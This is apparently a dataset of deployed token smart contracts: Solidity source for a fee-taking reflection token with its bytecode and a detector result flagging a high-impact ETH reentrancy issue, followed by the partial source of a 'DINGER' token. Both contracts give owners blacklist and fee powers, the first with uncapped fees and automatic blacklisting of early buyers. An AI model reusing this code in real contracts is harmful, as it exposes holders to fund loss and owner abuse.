tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054b578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a9059cbb146104c6578063bfd79284146104e6578063c3c8cd8014610516578063c492f0461461052b57600080fd5b80638f9a55c0116100d15780638f9a55c01461044157806395d89b411461045757806398a5c31514610486578063a2a957bb146104a657600080fd5b80637d1db4a5146103ed5780638da5cb5b146104035780638f70ccf71461042157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b67565b6105e7565b005b34801561020a57600080fd5b5060408051808201909152600a8152695370617274616e44414f60b01b60208201525b60405161023a9190611c99565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611ab7565b610686565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611a76565b61069d565b3480156102fd57600080fd5b506102c360195481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601654610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611a03565b610706565b34801561036f57600080fd5b506101fc61037e366004611c33565b610751565b34801561038f57600080fd5b506101fc610799565b3480156103a457600080fd5b506102c36103b3366004611a03565b6107e4565b3480156103c457600080fd5b506101fc610806565b3480156103d957600080fd5b506101fc6103e8366004611c4e565b61087a565b3480156103f957600080fd5b506102c360175481565b34801561040f57600080fd5b506000546001600160a01b0316610293565b34801561042d57600080fd5b506101fc61043c366004611c33565b6108a9565b34801561044d57600080fd5b506102c360185481565b34801561046357600080fd5b5060408051808201909152600681526553504144414f60d01b602082015261022d565b34801561049257600080fd5b506101fc6104a1366004611c4e565b6108f5565b3480156104b257600080fd5b506101fc6104c1366004611c67565b610924565b3480156104d257600080fd5b506102636104e1366004611ab7565b610962565b3480156104f257600080fd5b50610263610501366004611a03565b60116020526000908152604090205460ff1681565b34801561052257600080fd5b506101fc61096f565b34801561053757600080fd5b506101fc610546366004611ae3565b6109c3565b34801561055757600080fd5b506102c360085481565b34801561056d57600080fd5b506102c361057c366004611a3d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101fc6105c2366004611c4e565b610a64565b3480156105d357600080fd5b506101fc6105e2366004611a03565b610a93565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611cee565b60405180910390fd5b60005b81518110156106825760016011600084848151811061063e5761063e611e35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067a81611e04565b91505061061d565b5050565b6000610693338484610b7d565b5060015b92915050565b60006106aa848484610ca1565b6106fc84336106f785604051806060016040528060288152602001611e77602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125f565b610b7d565b5060019392505050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161061190611cee565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161061190611cee565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107ce57506014546001600160a01b0316336001600160a01b0316145b6107d757600080fd5b476107e181611299565b50565b6001600160a01b0381166000908152600260205260408120546106979061131e565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161061190611cee565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a45760405162461bcd60e51b815260040161061190611cee565b601755565b6000546001600160a01b031633146108d35760405162461bcd60e51b815260040161061190611cee565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161061190611cee565b601955565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161061190611cee565b600993909355600b91909155600a55600c55565b6000610693338484610ca1565b6013546001600160a01b0316336001600160a01b031614806109a457506014546001600160a01b0316336001600160a01b0316145b6109ad57600080fd5b60006109b8306107e4565b90506107e1816113a2565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161061190611cee565b60005b82811015610a5e578160056000868685818110610a0f57610a0f611e35565b9050602002016020810190610a249190611a03565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611e04565b9150506109f0565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161061190611cee565b601855565b6000546001600160a01b03163314610abd5760405162461bcd60e51b815260040161061190611cee565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b1561115857601654600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b601754811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2257506001600160a01b03821660009081526011602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b600854610f88906001611d94565b4311158015610fa457506016546001600160a01b038481169116145b8015610fbe57506015546001600160a01b03838116911614155b8015610fd357506001600160a01b0382163014155b15610ffc576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611081576018548161101e846107e4565b6110289190611d94565b106110815760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b600061108c306107e4565b6019546017549192508210159082106110a55760175491505b8080156110bc5750601654600160a81b900460ff16155b80156110d657506016546001600160a01b03868116911614155b80156110eb5750601654600160b01b900460ff165b801561111057506001600160a01b03851660009081526005602052604090205460ff16155b801561113557506001600160a01b03841660009081526005602052604090205460ff16155b1561115557611143826113a2565b4780156111535761115347611299565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119a57506001600160a01b03831660009081526005602052604090205460ff165b806111cc57506016546001600160a01b038581169116148015906111cc57506016546001600160a01b03848116911614155b156111d957506000611253565b6016546001600160a01b03858116911614801561120457506015546001600160a01b03848116911614155b1561121657600954600d55600a54600e555b6016546001600160a01b03848116911614801561124157506015546001600160a01b03858116911614155b1561125357600b54600d55600c54600e555b610a5e8484848461152b565b600081848411156112835760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611ded565b95945050505050565b6013546001600160a01b03166108fc6112b3836002611559565b6040518115909202916000818181858888f193505050501580156112db573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f6836002611559565b6040518115909202916000818181858888f19350505050158015610682573d6000803e3d6000fd5b60006006548211156113855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b600061138f61159b565b905061139b8382611559565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ea576113ea611e35565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143e57600080fd5b505afa158015611452573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114769190611a20565b8160018151811061148957611489611e35565b6001600160a01b0392831660209182029290920101526015546114af9130911684610b7d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e8908590600090869030904290600401611d23565b600060405180830381600087803b15801561150257600080fd5b505af1158015611516573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611538576115386115be565b6115438484846115ec565b80610a5e57610a5e600f54600d55601054600e55565b600061139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e3565b60008060006115a8611711565b90925090506115b78282611559565b9250505090565b600d541580156115ce5750600e54155b156115d557565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fe87611753565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163090876117b0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165f90866117f2565b6001600160a01b03891660009081526002602052604090205561168181611851565b61168b848361189b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d091815260200190565b60405180910390a3505050505050505050565b600081836117045760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611dac565b6006546000908190683635c9adc5dea0000061172d8282611559565b82101561174a57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117708a600d54600e546118bf565b925092509250600061178061159b565b905060008060006117938e878787611914565b919e509c509a509598509396509194505050505091939550919395565b600061139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125f565b6000806117ff8385611d94565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b600061185b61159b565b905060006118698383611964565b3060009081526002602052604090205490915061188690826117f2565b30600090815260026020526040902055505050565b6006546118a890836117b0565b6006556007546118b890826117f2565b6007555050565b60008080806118d960646118d38989611964565b90611559565b905060006118ec60646118d38a89611964565b90506000611904826118fe8b866117b0565b906117b0565b9992985090965090945050505050565b60008080806119238886611964565b905060006119318887611964565b9050600061193f8888611964565b90506000611951826118fe86866117b0565b939b939a50919850919650505050505050565b60008261197357506000610697565b600061197f8385611dce565b90508261198c8583611dac565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b80356119ee81611e61565b919050565b803580151581146119ee57600080fd5b600060208284031215611a1557600080fd5b813561139b81611e61565b600060208284031215611a3257600080fd5b815161139b81611e61565b60008060408385031215611a5057600080fd5b8235611a5b81611e61565b91506020830135611a6b81611e61565b809150509250929050565b600080600060608486031215611a8b57600080fd5b8335611a9681611e61565b92506020840135611aa681611e61565b929592945050506040919091013590565b60008060408385031215611aca57600080fd5b8235611ad581611e61565b946020939093013593505050565b600080600060408486031215611af857600080fd5b833567ffffffffffffffff80821115611b1057600080fd5b818601915086601f830112611b2457600080fd5b813581811115611b3357600080fd5b8760208260051b8501011115611b4857600080fd5b602092830195509350611b5e91860190506119f3565b90509250925092565b60006020808385031215611b7a57600080fd5b823567ffffffffffffffff80821115611b9257600080fd5b818501915085601f830112611ba657600080fd5b813581811115611bb857611bb8611e4b565b8060051b604051601f19603f83011681018181108582111715611bdd57611bdd611e4b565b604052828152858101935084860182860187018a1015611bfc57600080fd5b600095505b83861015611c2657611c12816119e3565b855260019590950194938601938601611c01565b5098975050505050505050565b600060208284031215611c4557600080fd5b61139b826119f3565b600060208284031215611c6057600080fd5b5035919050565b60008060008060808587031215611c7d57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc657858101830151858201604001528201611caa565b81811115611cd8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d735784516001600160a01b031683529383019391830191600101611d4e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da757611da7611e1f565b500190565b600082611dc957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611de857611de8611e1f565b500290565b600082821015611dff57611dff611e1f565b500390565b6000600019821415611e1857611e18611e1f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a6fbb5332feab22f9a2ea3452d715af8ff68b328570fd4ac252e03b24b1f54f64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,404 |
0x9e5bd9d9fad182ff0a93ba8085b664bcab00fa68 | /**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DINGER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Dinger Token";
string private constant _symbol = unicode"DINGER";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 7);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
